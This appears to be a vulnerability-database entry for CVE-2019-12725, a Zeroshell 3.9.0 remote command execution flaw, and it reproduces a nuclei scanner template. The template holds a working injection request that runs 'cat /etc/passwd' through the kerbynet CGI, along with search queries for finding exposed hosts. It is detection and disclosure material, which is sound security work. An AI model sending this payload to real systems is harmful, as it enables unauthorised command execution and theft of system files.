CVE-2019-12725: Zeroshell 3.9.0 - Remote Command Execution

日期: 2025-08-01 | 影响软件: Zeroshell 3.9.0 | POC: 已公开

漏洞描述

Zeroshell 3.9.0 is prone to a remote command execution vulnerability. Specifically, this issue occurs because the web application mishandles a few HTTP parameters. An unauthenticated attacker can exploit this issue by injecting OS commands inside the vulnerable parameters.

PoC代码[已公开]

id: CVE-2019-12725

info:
  name: Zeroshell 3.9.0 - Remote Command Execution
  author: dwisiswant0,akincibor
  severity: critical
  description: Zeroshell 3.9.0 is prone to a remote command execution vulnerability. Specifically, this issue occurs because the web application mishandles a few HTTP parameters. An unauthenticated attacker can exploit this issue by injecting OS commands inside the vulnerable parameters.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system.
  remediation: Upgrade to 3.9.5. Be aware this product is no longer supported.
  reference:
    - https://www.zeroshell.org/new-release-and-critical-vulnerability/
    - https://www.tarlogic.com/advisories/zeroshell-rce-root.txt
    - https://github.com/X-C3LL/PoC-CVEs/blob/master/CVE-2019-12725/ZeroShell-RCE-EoP.py
    - https://zeroshell.org/blog/
    - http://packetstormsecurity.com/files/160211/ZeroShell-3.9.0-Remote-Command-Execution.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-12725
    cwe-id: CWE-78
    epss-score: 0.94092
    epss-percentile: 0.99901
    cpe: cpe:2.3:o:zeroshell:zeroshell:3.9.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zeroshell
    product: zeroshell
    shodan-query: http.title:"zeroshell"
    fofa-query: title="zeroshell"
    google-query: intitle:"zeroshell"
  tags: cve,cve2019,packetstorm,rce,zeroshell

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/kerbynet?Action=StartSessionSubmit&User='%0acat%20/etc/passwd%0a'&PW="

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d543177cfb4828c8288b68abe9aa85746a5785eea95001f29bf87fa2b35ac2fa022016baeeed433ef4ba2d16a8941281748292283ac485e7cf54acc89332283af49f:922c64590222798bb761d5b6d8e72950
来源: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-12725.yaml

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